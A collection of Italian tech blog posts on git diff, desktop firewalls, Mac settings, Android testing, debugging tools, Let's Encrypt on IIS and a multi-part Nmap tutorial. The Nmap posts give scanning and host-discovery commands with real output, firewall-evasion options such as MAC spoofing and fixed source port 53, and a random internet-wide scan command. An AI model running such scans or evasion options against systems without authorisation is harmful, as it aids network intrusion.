Git da degli identificatori per le righe che visualizzerà successivamente per indicare una riga di “a” e una riga di “b”. Qui si vede che le righe di “a” saranno indicate con il simbolo “-” (meno) mentre quelle di “b” con il simbolo “+” (più).

Poiché il diff di un file con la sua versione precedente identifica con  “a” la versione precedente e con “b”  la versione successiva, in questo modo è anche possibile leggere le righe con “-” come eliminate mentre quelle con “+” come aggiunte. Infatti le righe identiche non vengono etichettate.

Chunk Header

Poiché le modifiche ad un file potrebbero espandersi per molte righe di codice, diff cerca di visualizzare solamente degli “spezzoni” (chunk) dove sono presenti le modifiche, tralasciando le molte (o poche) righe identiche tra un chunk e l’altro.

L’header è racchiuso tra i tag @@

All’interno c’è una sezione per il file “a” indicata con il “-” e una per il file “b” indicata con il “+”.

Qui ci viene detto che nel chunk che segue sono visualizzate 7 righe di “a” a partire dalla riga 11 e 7 righe di b a partire dalla riga 11 se abbiamo (come il nostro primo chunk)

@@ -11,7 +11,7@@

Chunk

Nel chunk sono indicate con “-” le righe di “a” eliminate e con “+” le righe di “b” aggiunte. Le righe senza segni sono le stesse in entrambi i file

Git bash diff explained

Friendly firewalls for your OSX, Windows and Linux

 _  _

Oggi parleremo di tre firewall veramente facili da utilizzare che che ci daranno modo (a livello di utilizzatore basico di PC) di avere sotto controllo tutte le connessioni di rete che avvengono nei nostri computer.

Per Windows descriverò la versione di GlassWireBasic” (a pagamento) che ad oggi costa circa 60€.

Mentre per OSX descriverò il bundle LittleSnitch+MicroSnitch che costa ad oggi circa 32€.

Le cifre sono una-tantum e quindi una volta acquistata la licenza, siamo a posto per sempre. Non come i firewall messi a disposizione dagli antivirus che sono attivi solamente con le versioni professionali a pagamento annuale, ma non voglio dilungarmi oltre su questo argomento.

OpenSnitch è il porting di LittleSnitch su Linux che sta facendo Simone Margaritelli (aka evilsocket). OpenSnitch, devo dire la verità, non ho ancora avuto modo di utilizzato perché è molto recente e in sviluppo in questi giorni, ma credo comunque che meritasse di essere menzionato e tenuto d’occhio visto che si prefigge di dare sotto Linux le stesse opzioni di LittleSnitch.

Le funzionalità di questi software sono veramente belle, e credo che ogni utilizzatore di PC dovrebbe averle a disposizione!

La funzione più bella è la modalità del firewall  “Ask To Connect” (in Little e Open Snitch è attiva di default, mentre in GlassWire va abilitato nella scheda Firewall).

Questo cosa vuol dire?

Vuol dire che non appena avremo installato il programma, questo comincerà a controllare tutte le connessioni al computer in Ingresso e in Uscita e di default non permetterà quelle in Uscita.

Se per ogni connessione in Uscita non è ancora stata stabilita una regola, allora vi verrà presentato un popup con il quale decidere se negare o acconsentire la connessione.

GlassWire:

OpenSnitch:

LittleSnitch:

Ad esempio facendo per la prima volta anche un solo telnet su Windows, dovremo abilitare la regola su GlassWire prima di riuscire nell’intento 😉

Stessa cosa per LittleSnitch.

Inoltre avremo la possibilità di andare a vedere le regole impostate sul Firewall e fare alcune operazioni sia sulla regola ma anche sull’applicazione stessa. Potremo per esempio fare la scansione con l’antivirus corrente sul PC (GlassWire) e vedere chi ha firmato il programma (GlassWire e LittleSnitch) e anche vedere se la firma è valida (LittleSnitch).

Avrete quindi sotto controllo tutto il traffico suddiviso per applicazione o per connessioni!

Se poi volete spingervi ancora più a fondo, potete abilitare (GlassWire) le notifiche sull’attività di fotocamera e microfono.

Ma se avete comprato anche MicroSnitch, avrete le stesse funzioni anche su Mac OSX.

Beh, spero che queste cose vi piacciano e vi possano tornare utili!

Soprattutto vi facciano stare più tranquilli mentre utilizzate il vostro PC.

Alla prossima.

 

Friendly firewalls for your OSX, Windows and Linux

MacOSX trackpad gestures

Poiché molte persone che conosco hanno un Mac con un bellissimo Trackpad, ma continuano a cliccarci “con forza” invece che semplicemente tapparlo, oggi voglio suggerire in questo articolo come abilitare alcune utili “gesture” sul vostro Mac 🙂

Innanzitutto ecco qui i link ufficiali:

Poiché vi ho già messo i link per configurare le varie opzioni qui vi metterò la sintesi  per accedere ad esse (io ho il sistema operativo in inglese):

  • Le gesture: System Preferences –> Trackpad –> Mouse Gestures
  • Trascinamento a tre dita: System Preferences –> Accessibility –> Mouse and Trackpad –> Trackpad options –> Enable dragging –> Three finger drag

Una volta impostati, difficilmente ne farete a meno.

E’ ovviamente del tutto personale, ma fatemi sapere come andate!

MacOSX trackpad gestures

Git bash environment on Mac OSX

Oggi vogliamo essere un po’ geek e configurarci il prompt per git a linea di comando.

Per fare questo scarichiamoci questi cinque file più, se volete utilizzarlo come editore predefinito, Sublime Text:

Il profilo dobbiamo importarlo dal menu del nostro terminale: Terminal –> Settings (io l’ho in inglese) e poi sotto la lista di profili, clicchiamo la piccola ruota dentata vicino al “-” (meno)

Scarichiamo (nella cartella Downloads)  bash_profile e apriamo il terminale e digitiamo:

cd
mv Downloads/bash_profile .bash_profile

ATTENZIONE: copiate il .bash_profile solo se non ne avete già uno, altrimenti integrate il vostro con quanto scritto nel mio.

Scarichiamo (nella cartella Downloads) git-prompt.sh e git-completion.bash (presi direttamente dal repository ufficiale di git su GitHub – https://github.com/git/git) e git_configure_commands.sh

Digitiamo i comandi

cd
mv Downloads/git_configure_commands.sh .
mv Downloads/git-completion.bash .
mv Downloads/git-prompt.sh .

A questo punto lanciamo il comando git_configure_commands.sh

./git_configure_commands.sh

che imposterà il conflict style a diff3, metterà il push.default ad upstream e imposterà Sublime Text come l’editore di default per il messaggio di commit (fate attenzione qui che il percorso di Sublime Text sia anche da voi come nel file, altrimenti correggetelo)

A questo punto non vi resta che chiudere e riaprire il terminale e navigare in una cartella che sia un repository git.

Ecco qua!

 

Si lo so, l’interfaccia grafica ci vizia un po’, ma avere anche una riga di comando tutta personalizzata non è male 😉

Git bash environment on Mac OSX

Android Studio – Crea UI Test con Espresso Test Recorder

E’ ancora in beta la versione di Espresso Test Recorder su Android Studio, ma promette moooolto bene! 🙂

Con Espresso, come bene saprete, è possibile creare Test Automatizzati sulla User Interface della nostra App.

Scrivere un Test articolato può essere laborioso. Ma ecco che ci viene in aiuto Espresso Test Recorder!

Leggete qui!

Ad esempio creiamo un nuovo progetto di una “Basic Activity” e se abbiamo Android Studio 2.3 o superiore vedrete che Espresso sarà già impostato come da documentazione nel progetto.

A questo punto… magia 🙂

Andate in Run –> Record Espresso Test

Clicchiamo sul bottone “fab” e asseriamo che il testo “hello world” esista! 🙂

E finiamo.

Ecco il nostro test bello che scritto!!!

Nell’esempio noterete che ho cliccato (per sbaglio) due volte sul pulsante “fab”.

Beh… che dire… fantastico!

Provate e fatemi sapere.

Alla prossima.

 

Android Studio – Crea UI Test con Espresso Test Recorder

Visual Leak Detector per Visual C++

Ho utilizzato questo prezioso strumento per diversi progetto durante la mia carriera e mi sono accorto di non aver mai scritto un articolo al riguardi! Gravissimo! 🙂

La pagina del progetto è questa: https://vld.codeplex.com/

Con vld è possibile riconoscere se nel nostro codice nativo (C/C++) abbiamo dei memory leak direttamente dopo un solo ciclo di utilizzo del nostro programma dalla console di Output di Visual Studio.

Sul sito del progetto la documentazione è chiara. Vi mostrerò qui ora un semplice esempio.

Per prima cosa scarichiamo l’eseguibile da https://vld.codeplex.com/ e installiamolo sul PC sul quale abbiamo il nostro Visual Studio (nel mio caso la versione 2015).

A questo punto creo un progetto Win32 Console Application con il seguente main.cpp

Se scrivete il codice prima di impostare i path per gli include di vld, la riga 10 vi darà errore. Non preoccupatevi, la sistemiamo subito.

Come vedete il nostro bel programmino è fatto apposta per sprecare memoria all’infinito. La alloca e non la rilascia mai… che bravo! 😀

La documentazione ufficiale è ben fatta e la trovate qui.

Uma volta lanciato il setup.exe di VLD quello che dovete fare è andare ad impostare sul progetto in cui lo volete utilizzare per la build di Debug che vi interessa (x86, x64 o entrambe) i path delle librerie e dei file di include di VLD.

A questo punto compiliamo in Debug e lanciamo il nostro codice. La riga 10 non darà più errore e in console vediamo l’avvenuto corretto caricamento del nostro Leak Detector prendendo i suoi parametri di configurazione dal vld.ini nella directory di installazioine del VLD.

Al termine del programma ecco quali utili informazioni vld ci offre nella cosole di output di Visual Studio!

E questo è tutto, gente!

Visual Leak Detector per Visual C++

Utilizzare Let’s Encrypt con IIS su Windows

Finalmente dopo un po’ di tempo qualcuno si è “preso la briga” di fare un wrapper del protocollo Certbot anche per windows integrato con IIS.

Ecco qui il link al progetto su GitHub: https://github.com/Lone-Coder/letsencrypt-win-simple/releases

E’ costruito a sua volta sopra il  .net ACME protocol library.

Basta scaricare lo zip e metterlo in una cartella sul vostro server.

Dopodichè con un prompt dei comandi con diritti di amministratore andate nella cartella e semplicemente lanciate il comando:

Letencrypt.exe

E seguite i vari passaggi.

  • inserire la mail
  • leggere e accettare le condizioni di contratto e policy
  • scegliere il sito IIS su cui richiedere il certificato e aspettare

Fa tutto lui:

  • Chiede il rilascio del certificato
  • Lo salva sul server
  • Crea il bindig sulla porta 443 con il certificato appena richiesto
  • Crea il job schedulato per il rinnovo automatico

Bene! Finalmente la richiesta dei certificati SSL no sarà più un problema anche su IIS! 😀

Utilizzare Let’s Encrypt con IIS su Windows

Debug Diagnostic Tool

Oggi vedremo un caso di utilizzo del Debug Diagnostic Tool che è uno strumento molto utile per fare del debugging e del profiling sia in ambiente di Sviluppo ma sopratutto in ambiente di Produzione.

Il caso in particolare è andare ad analizzare una applicaizone ASP che in produzione, sotto stress quindi, ogni tanto manda il processore del server al 100%.

Come primo workaround si è subito messo in linea uno script di Power Shell che andasse a verificare lo stato del processore e nel caso fosse rimasto al 95% per più di 20sec, andasse a fare un IIS Reset.

Poi subito dopo seguendo questo articolo su Debuggin IIS High CPU siamo andati a impostare:

  1. Data Collection con il Performance Monitor
    In particolar modo:

    • Richieste Correnti Totali (ASP .NET)
    • Richieste in Coda (ASP .NET)
  2. Creazione di un Dump tramite Debug Diagnostic Tool 2 Collection
    In particolare:

    • Se il processore rimaneva al 90% per più di 5 secondi

E siamo rimasti ad aspettare che nuovamente succedesse lo scenario incriminato.

Abbiamo lasciato in piedi la cosa per tutta la notte: il data collection continua finchè non lo si stoppa, mentre il dump è one-time (una volta scattato, va riattivato manualmente il trigger, altrimenti si ferma).

Nella notte abbiamo avuto ben 4 casi di processore al 100% e durante il primo caso si è generato il Dump e durante tutti i casi abbiamo collezionato i dati dei contatori per le Richieste Correnti e per le richieste in Coda.

Ecco come abbiamo poi analizzato la cosa.

Per quanto riguarda i dati collezionati dal Performance Monitor si è visto che le richieste correnti schizzavano in occorrenza dell’evento incriminato:

Andando ad analizzare anche le richieste in coda:

si evince che aumentano proporzionalmente alle richieste attive.

Questo ci fa sospettare che sia effettivamente un problema di performance e non un problema di “attacco” in quanto le richieste in coda ci sono solamente durante gli eventi incriminati e quindi IIS non riesce ad evadere le richieste perchè è impegnato nell’operazione che porta il processore al 100% e questo scenario è coerente con il fatto che facendo IIS Reset la situazione ritorno normale.

Andiamo quindi ora ad analizzare il dump con il Debug Diagnosti Tool 2 Analysis.

Vediamo subito che l’analisi del Dump conferma High CPU Usage.

Andando a vedere quindi i Topo 8 Thread scopriamo da dove parte il tutto:

Dalla pagina “RivestimentiDettagli” ed è scatenata dal metodo “.get_data()” (Tutto Codice Utente).

Andando quindi ad analizzare il codice si è scoperto che si era fatto un uso improprio di variabili statiche e quindi c’erano problemi di concorrenza che si vedevano solo in presenza di forte carico del server.

 

 

 

Debug Diagnostic Tool

NMAP – Network Mapping #2 – Port Scanning

Il port scanning è il “core business” di Nmap.

Esso è l’atto di testare da remoto numerose porte per determinarne lo stato in cui sono.

La semplice esecuzione del comando

nmap <target>

fa la scansione di tutte  le prime 1.000 porte TCP classificandole negli stati

open, closed, filtered, unfiltered, open|filtered o closed|filtered

Lo stato più interessante è ovviamente lo stato “open” che vuol dire che su quella porta vi è in ascolto una applicazione pronta ad accettare connessioni.

NMap fa una distinzione differente delle porte rispetto allo IANA (Internet Assigned Numbers Authority) in base al loro numero.

Per lo standard IANA (http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml) abbiamo

  • well-known ports dalla 1 alla porta 1023
  • registered ports dalla 1024 alla 49151 (gli utenti con accesso non privilegiato possono collegare i loro servizi a queste porte)
  • dynamic e/o private ports dalla 49152 alla 65535 (numero massimo di porta: è un campo di 16bit)

Mentre NMap distigue le porte in

  • well-known ports 1-1023
  • ephemeral  ports il cui range dipende dal sistema operativo è su Linux va da 32768 a 61000 ed è configurabile (/proc/sys/net/ipv4/ip_local_port_range)

La porta numero 0 (zero) è invalida. Le API delle socket Berkeley, che definiscono come i programmi devono comportarsi per quanto riguarda le comunicazioni di rete, non permettono l’utilizzo della porta numero zero. Invece, interpretano una richiesta sulla porta zero come una wildcard a indicare che al programmatore non interessa quale porta verrà utilizzata per la comunicazione e sarà il sistema operativo a sceglierne una per lui.

Questo non significa che qualche software malevolo non voglia utilizzare proprio questa porta per comunicare esplicitandola nell’heder TCP/IP. Quindi possiamo con NMap scansionare questa porta esplicitamente (e.g. -p0-65535)

Secondo l’autore di NMap, dopo anni di scansioni, queste sono le liste delle Top-20 porte TCP e UDP

Top-20 TCP ports

  1. 80 (HTTP)
  2. 23 (TELNET)
  3. 443 (HTTPS)
  4. 21 (FTP)
  5. 22 (SSH)
  6. 25 (SMTP)
  7. 3389 (ms-term-server) Microsoft Terminal Services Admin port
  8. 110 (POP3)
  9. 445 (Microsoft-DS) Microsoft SMB file/printer sharing
  10. 139 (NetBIOS-SSN)
  11. 143 (IMAP)
  12. 53 (DNS)
  13. 135 (MSRPC)
  14. 3306 (MySQL)
  15. 8080 (HTTP) di solito per fare del proxying
  16. 1723 (PPTP) per VPN
  17. 111 (RPCBind)
  18. 995 (POP3S) pop3 + ssl
  19. 993 (IMAPS) imap + ssl
  20. 5900 (VNC)

Top-20 UDP ports

  1. 631 (IPP) Internet Printing Protocol
  2. 161 (SNMP)
  3. 137 (NetBIOS-NS)
  4. 123 (NTP)
  5. 138 (NetBIOS-DGM)
  6. 1434 (Microsoft-DS) Microsoft SQL Server
  7. 445 (Microsoft-DS)
  8. 135 (MSRPC)
  9. 67 (DHCPS) dhcp + ssl
  10. 53 (DNS)
  11. 139 (NetBIOS-SSN)
  12. 500 (ISAKMP) Internet Security Association and Key Management Protocol
  13. 68 (DHCP client)
  14. 520 (RIP) Routing Information Protocol
  15. 1900 (UPNP)
  16. 4500 (nat-t-ike)
  17. 514 (syslog)
  18. 49152 (Varies)
  19. 162 (SNMPTrap)
  20. 69 (TFTP)

Ad inizio capitolo abbiamo detto che una porta si può trovare in 6 stati differenti

  1. open
    una applicazione è in ascolto e pronta ad accettare connessioni TCP o pacchetti UDP. Qui si può fare breccia.
  2. close
    la porta è accessibile (riceve e risponde alle sonde di NMap) ma non vi è nessuna applicazione in ascolto su di essa. Utile per host discovery o OS detection.
  3. filtered
    non sappiamo se la porta è aperta perché c’è una sorta di packet filtering che non ci permette di raggiungerla (firewall, regole di routing). Queste porte rallentano lo scan perché NMap cerca di ripetere lo scan in caso non abbia ricevuto risposte dovuto al fatto che si ha una rete congestionata. Ma di solito non è così.
  4. unfiltered
    la porta è raggiungibile ma non si riesce a distinguere se è aperta o chiusa. Solo l’ACK scan classifica le porta in questo stato.
  5. open|filtered
    NMap non riesce a capire se la porta è aperta o filtrata. Di solito succede per porte aperte che non danno risposte. La mancanza di risposta potrebbe dipendere anche da un filtro di pacchetto.
  6. closed|filtered
    NMap non riesce a capire se la porta è chiusa o filtrata. Stato impostato solo se si utilizza l’IP ID Idle scan (-sI).

Fare un port scanning della rete non è solo un modo per avere la lista di tutti i servizi aperti per motivi di sicurezza. Alcuni utilizzano il port scanning anche per fare un inventario delle macchine e dei dispositivi di rete e dei loro servizi, per scoprire la topologia della loro rete o per controlli di verifica di politiche di vario genere.

NMAP – Network Mapping #2 – Port Scanning

NMAP – Network Mapping #1.1 – Ping Scanning Host Discovery Controls

-sL

Se vogliamo solamente enumerare, senza far partire alcun controllo, gli host target che abbiamo selezionato, utilizziamo l’opzione -sL

Per esempio:

Fabios-MacBook-Air:~ shadowsheep$ nmap 192.168.1.0/30 -sL

Starting Nmap 7.12 ( https://nmap.org ) at 2016-12-03 09:52 CET
Nmap scan report for 192.168.1.0
Nmap scan report for 192.168.1.1
Nmap scan report for 192.168.1.2
Nmap scan report for 192.168.1.3
Nmap done: 4 IP addresses (0 hosts up) scanned in 0.04 seconds

di default il reverse-DNS viene eseguito:

Fabios-MacBook-Air:~ shadowsheep$ ping versionestabile.it
PING www.versionestabile.it (62.149.142.224): 56 data bytes

Fabios-MacBook-Air:~ shadowsheep$ nmap 62.149.142.224 -sL

Starting Nmap 7.12 ( https://nmap.org ) at 2016-12-03 09:54 CET
Nmap scan report for webx458.aruba.it (62.149.142.224)
Nmap done: 1 IP address (0 hosts up) scanned in 0.06 seconds

Per vedere i 16 IP a partire dall’IP del mio sito scegliendo per il reverse-DNS il server DNS di Google, possiamo eseguire quindi:

Fabios-MacBook-Air:~ shadowsheep$ nmap www.versionestabile.it/28 -sL --dns-server 8.8.8.8

Starting Nmap 7.12 ( https://nmap.org ) at 2016-12-03 10:01 CET
Nmap scan report for www.versionestabile.it (62.149.142.224)
rDNS record for 62.149.142.224: webx458.aruba.it
Nmap scan report for webx459.aruba.it (62.149.142.225)
Nmap scan report for webx460.aruba.it (62.149.142.226)
Nmap scan report for webx461.aruba.it (62.149.142.227)
Nmap scan report for webx462.aruba.it (62.149.142.228)
Nmap scan report for webx463.aruba.it (62.149.142.229)
Nmap scan report for webx464.aruba.it (62.149.142.230)
Nmap scan report for webx465.aruba.it (62.149.142.231)
Nmap scan report for webx466.aruba.it (62.149.142.232)
Nmap scan report for webx467.aruba.it (62.149.142.233)
Nmap scan report for webx468.aruba.it (62.149.142.234)
Nmap scan report for webx469.aruba.it (62.149.142.235)
Nmap scan report for webx470.aruba.it (62.149.142.236)
Nmap scan report for webx471.aruba.it (62.149.142.237)
Nmap scan report for webx472.aruba.it (62.149.142.238)
Nmap scan report for webx473.aruba.it (62.149.142.239)
Nmap done: 16 IP addresses (0 hosts up) scanned in 0.10 seconds

-sn (o -sP nelle versioni precedenti)

Questa opzione fa eseguire solamente un ping scan (aka ping sweep) viene inviata una richiesta ICMP echo e un pacchetto TCP ACK alla porta 80 di default.

Se un utente non ha i diritti per inviare un RAW TCP ACK, viene inviato al suo posto un TCP SYN.

Se un utente con i diritti fa una scansion su rete locale viene inviata anche una richiesta ARP (-PR) a meno che non venga impostata l’opzione –send-ip.

Non vengono abilitati i controlli come il port scan e l’OS detection anche se specificati.

Solamente l’ NSE (Nmap Script Engine) –script e il trace route –traceroute se specificati vengono eseguiti.

Fabios-MacBook-Air:~ shadowsheep$ nmap -sn -T4 www.versionestabile.it/30

Starting Nmap 7.12 ( https://nmap.org ) at 2016-12-03 10:09 CET
Nmap scan report for www.versionestabile.it (62.149.142.224)
Host is up (0.033s latency).
rDNS record for 62.149.142.224: webx458.aruba.it
Nmap scan report for webx459.aruba.it (62.149.142.225)
Host is up (0.029s latency).
Nmap scan report for webx460.aruba.it (62.149.142.226)
Host is up (0.026s latency).
Nmap scan report for webx461.aruba.it (62.149.142.227)
Host is up (0.032s latency).
Nmap done: 4 IP addresses (4 hosts up) scanned in 0.10 seconds

-Pn (o -PN)

Disabilita il ping scan e tratta tutti gli host come attivi, applicando le fasi successive a tutti gli host specificati invece che solo a quelli che sono risultati attivi dal ping scan.

Questa funzione è utile nel caso alcuni host non rispondano alle sonde oppure siano ben coperti da firewall.

-PS<port list>

Invia un pacchetto TCP vuoto con il flag SYN attivo.

La porta di destinazione di default è la porta 80, ma è possibile sceglierne una alternativa passandola come parametro -PS<port list>.
E’ anche possible passare un range di porte, per es:

-PS22-25,80,53,113

In questo caso le sonde verranno inviate in parallelo ad ogni porta specificata.

Questo pacchetto interroga una porta dicendole che si vuole stabilire una connessione. Normalmente la porta è chiusa e quindi riceveremo indietro un pacchetto TCP con il flag RST (reset).

Se la porta invece è aperta riceveremo il secondo step del three-way-handshake, ovvero un pacchetto TCP con attivi i flash synch e acknowledge SYN/ACK.

Entrambe le situazioni ci dicono che l’host target è vivo.

-PA<port list>

Come prima ma invia un pacchetto TCP vuoto con il flag ACK attivo.

In questo caso se l’host è vivo invierà sempre un pacchetto di risposta TCP RST perché non ha ricevuto precedentemente nessun pacchetto TCP SYN, ne tantomeno inviato un TCP SYN/ACK.

Ci rivelerà comunque la sua presenza.

Perché usare -PA piuttosto che -PS? Perché alcuni firewall bloccano su alcune porte volontariamente i pacchetti TCP SYN (e.g. iptables –syn)

Se invece il firewall se invece il firewall è di tipo stateful, categorizzerà il pacchetto con lo stat o INVALID perché non è associato a nessuna connessione (e.g. iptables –state). In questo caso l’opzione -PS invece riuscirebbe a fornirci l’esistenza dell’host.

-PU<port list>

UDP Ping, è un’altra tecnica per scoprire se un host è presente o meno.

Viene inviato un pacchetto UDP vuoto (a meno di non usare –data-length) alle porte specificate (default a 31,338).

Se l’host è presente e la porta è chiusa otterremo come risposta un pacchetto ICMP port unreachable.

Se la porta è aperta invece il pacchetto verrà ignorato e la sonda fallirà.

Questa sonda evita i firewall che sono configurati solamente per il protocollo TCP.

-PE, -PP, e -PM

ICMP Ping non fa altro che inviare i pacchetti standard che fa il nostro ben conosciuto comando ping.

-PE invia una richiesta ICMP di tipo 8 (echo request) e si aspetta come risposta un ICMP di tipo 0 (echo reply).

-PP invia una richiesta ICMP di tipo 15 (timestamp request) e si aspetta una risposta ICMP di tipo 14 (timestamp reply)

-PM invia una richiesta ICMP di tipo 17 (mask request) e si aspetta una risposta ICMP di tipo 18 (mask reply)

-PP e -PM possono essere utili quando questi tipi di pacchetti ICMP non sono filtrati.

-PO<protcol list>

IP Protocol Ping invia pacchetti IP con il numero di protocollo specificato nell’header.

Il default sono ICMP (protocol 1), IGMP (protocol 2), IP-in-IP (protocol 4).

Quello che ci aspettiamo di ricevere se un host è presente è un messaggio ICMP protocol unreacheable che significa che la porta non parla quel protocollo oppure una risposta dello stesso tipo di protocollo.

-PR

ARP Scan, che viene fatto di default in ogni range di reti LAN, è in questi casi (reti LAN) molto più veloce e molto più sicuro in quanto molti host hanno l’echo reply disabilitato (ping) ma non possono non rispondere ad una richiesta ARP!

Nelle LAN inoltre il ping scan è problematico perché

  1. Il PC per rispondere ad un ICMP echo request deve prima fare una richiesta ARP per sapere a chi appartiene l’indirizzo IP della richiesta.
  2. Richiesta ARP incomplete vengono salvate nella tabella ARP dell’host, tabella che è limitata. Alcuni OS si comportano in maniera strana quando riempiono tale tabella.

Ad esempio possiamo inviare un ping ARP con un frame ethernet (layer 2) invece che un pacchetto IP (layer 3) in questo modo.

Fabios-MacBook-Air:~ shadowsheep$ sudo nmap -n -sP -PR --send-eth --packet-trace 192.168.1.24

Starting Nmap 7.12 ( https://nmap.org ) at 2016-12-03 15:11 CET
SENT (0.0100s) ARP who-has 192.168.1.24 tell 192.168.1.2
SENT (0.2171s) ARP who-has 192.168.1.24 tell 192.168.1.2
RCVD (0.2337s) ARP reply 192.168.1.24 is-at B0:C5:54:[...]
Nmap scan report for 192.168.1.24
Host is up (0.017s latency).
MAC Address: B0:C5:54:[...] (D-Link)
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

In questo caso -PR e –send-eth sarebbero stati fatti di default perché siamo in LAN.

Mentre –packet-trace ci permette di visualizzare i pacchetti inviati e ricevuti.

Se non si vuole assolutamente che venga fatta uno scan ARP occorre dirlo esplicitamente con l’opzione –send-ip.

Puoi cambiare il MAC address da cui fai la richiesta ( 🙂 ) con l’opzione –spoof-mac.

Combinazione di default

Se lanciamo nmap senza specificare nulla, il default è:  -PA -PE.

Altre opzioni di rilievo

-v (–verbose): nmap non stampa solo gli host attivi ma molte altre informazioni su di essi.

–source-port <portnum> (-g): setta come costante la porta sorgente del ping scanning.

–data-length <lenght>: aggiunge byte random di dati ad ogni pacchetto e funziona con gli scan TCP, UDP e ICMP. Questo permette di evadere alcuni firewall che hanno regole per droppare i pacchetti vuoti.

-T<timing>: velocizza l’esecuzione del ping scan. Valori più alti corrispondono a minor tempo. -T4 è raccomandato.

Ce ne sono altri e potete leggerli a pag 67 del manuale di nmap o nelle pagine man.

Lista delle 14 porte con maggior successo di accessibilità

  1. 80/http
  2. 25/smtp
  3. 22/ssh
  4. 443/https
  5. 21/ftp
  6. 113/auth
  7. 23/telnet
  8. 53/domain
  9. 554/rtsp
  10. 3389/ms-trem-server
  11. 1723/pptp
  12. 389/ldap
  13. 636/ldapssl
  14. 256/FW1-seruremote

Una combinazione “ideale”

nmap -PE -PA PS21,22,23,25,80,113,31339 -PA80,113,443,10042 -T4 –source-port 53 -iL <file with hosts> -oA <output file>

Man Section

HOST DISCOVERY:
             -sL: List Scan - simply list targets to scan
             -sn: Ping Scan - disable port scan
             -Pn: Treat all hosts as online -- skip host discovery
             -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
             -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
             -PO[protocol list]: IP Protocol Ping
             -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
             --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
             --system-dns: Use OS's DNS resolver
             --traceroute: Trace hop path to each host
NMAP – Network Mapping #1.1 – Ping Scanning Host Discovery Controls

NMAP – Network Mapping #1 – Ping Scanning Hosts Definition

Nella seconda fase di NMap abbiamo la cosiddetta “host discovery”.

Ci sono molte tecniche di host discovery che possiamo fare con NMap.

Vediamo alcuni esempi.

Possiamo specificare l’host o gli host nei seguenti modi:

  • IP Address: 192.168.1.1
  • Hostname: gateway.example.com
  • CIDR (Classless Inter-Domain Routing): 192.168.1.0/24
  • Octets: 192.168.1.0-255
  • Random: -iR <#numero host da geneare> (!!0 per tutto internet!!)
    Come dice la documentazione, se vi trovate molto annoiati in una giornata di pioggia, potete provare a lanciare il seguente comando:
    nmap -sS -PS80 -iR 0 -p 80
    per cercare a caso i web server nella rete.
  • Da file: -iL <filename> oppure “-” (hyphen) per input da standard input.
    ad esempio per cercare tutti gli host attualmente “vivi” a cui avete dato un lease:
    egrep ‘^lease’ /var/lib/dhcp/dhcp.leases | awk ‘{print $2}’ | name -iL –

Dalla vostra lista di host potete escludere dei valori con le seguenti opzioni:

–exclude e valori separati da virgola (niente spazi!!!)
–excludefile <filename> (il file contiene gli host da escludere nei formati accettati da nmap).

DNS resolution

Di default, nmap esegue il reverse-DNS sugli IP che rispondono alle sonde del Ping Scanning (ovvero solo per gli host attivi).

E’ possibile fare il reverse-DNS su tutti gli host con l’opzione -R.

Per non eseguire il reverse-DNS invece l’opzione è -n.

Per utilizzare uno o più server DNS (diversi da quello di sistema) utilizzare
–dns-server <server1>[,<server2>…]

Man Section

TARGET SPECIFICATION:
             Can pass hostnames, IP addresses, networks, etc.
             Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
             -iL <inputfilename>: Input from list of hosts/networks
             -iR <num hosts>: Choose random targets
             --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
             --excludefile <exclude_file>: Exclude list from fil
NMAP – Network Mapping #1 – Ping Scanning Hosts Definition

NMAP – Network Mapping

Voi lo sapevate che anche Trinity per salvare il mondo ha usato Nmap?!!

Io no! Ma l’ho scoperto leggendo la documentazione sul sito http://www.nmap.org

trinity-nmapscreen-hd-crop-1200x728

La foto è presa da http://www.nmap.org/movies.html

Questo è il primo degli appuntamenti che vedranno NMap come protagonista.

In questo articolo parleremo delle FASI di NMap.

Cosa succede quando lanciamo NMap? Se non disabilitiamo volontariamente alcuna fase, questa è la sequenza di esecuzione (mettiamo tra parentesi quadre “[]” l’opzione che disabilita la fase eseguita di default).

  1. Target Enumeration [questa fase non è disabilitabile]: se però diamo -sL -n (list scan senza risoluzione reverse-DNS avremo una semplice lista di indirizzi IP.
  2. Host discovering (ping scanning) [-PN]: per uscire dopo questa fase usare -sP (-sn) -n.
  3. Reverse-DNS resolution [-n]: può essere esteso a tutti gli IP con -R.
  4. Port Scanning [-sn (-sP)]
  5. Version Detection: abilitato con -sV.
  6. OS Detection: abilitato con -O.
  7. Traceroute: abilitato con –traceroute.
  8. Script Scanning: anche conosciuto come NSE (Nmap Script Engine). Abilitato con –script (o -sC).
  9. Output: output su file in vari formati -oN/-oX/-oS/-oG –> Normal / XML / S|<rIpt kIddi3 / Grepable.

Mi sto leggendo la documentazione, perché credo che ci sia sempre qualcosa che non si à visto nella pratica e che possa tornare utile.

Di solito sia perché mi rimanga memorizzato più rapidamente e sia per revisioni successive mi scrivo degli appunti che trasformo in articoli!

Nei prossimi articoli approfondiremo quindi più in dettaglio le varie fasi, in modo da evidenziarne le varie caratteristiche e potenzialità.

A presto!

 

 

NMAP – Network Mapping

Twitter App con Python 3

Oggi realizziamo uno script in python che si interfacci con un nostro account twitter in modo da poterlo controllare da riga di comando o comunque dallo script 🙂

Per prima cosa ci occorre un account twitter di sviluppo con associato un numero di telefono valido.

Il mio è @pastrocchi1 🙂

screen-shot-2016-12-04-at-10-14-09

A questo punto creiamo una twitter app per lo scopo su  https://apps.twitter.com/

screen-shot-2016-12-04-at-10-16-13

Clicchiamo su “Create New App” o “Crea Nuova Applicazione”

screen-shot-2016-12-04-at-10-19-03

Inseriamo i dati e accettiamo l’accordo dello sviluppatore.

 

python-application

Controlliamo che l’applicazione abbia i diritti scrittura e lettura nel tab Permissions.

screen-shot-2016-12-04-at-10-27-31

 

Nel tab Keys and Access Tokens invece dobbiamo generare le chiavi che ci serviranno nello script.

screen-shot-2016-12-04-at-10-34-14

Clicchiamo su “Create my access token”

keys-python-script

Ok. Twitter è a posto.

Ora passiamo alla parte di programmazione python.

Per prima cosa aggiorniamo pip

Fabios-MacBook-Air:~ shadowsheep$ sudo pip install --upgrade pip

Poi installiamo tweepy

Fabios-MacBook-Air:~ shadowsheep$ sudo pip3 install tweepy
Collecting tweepy
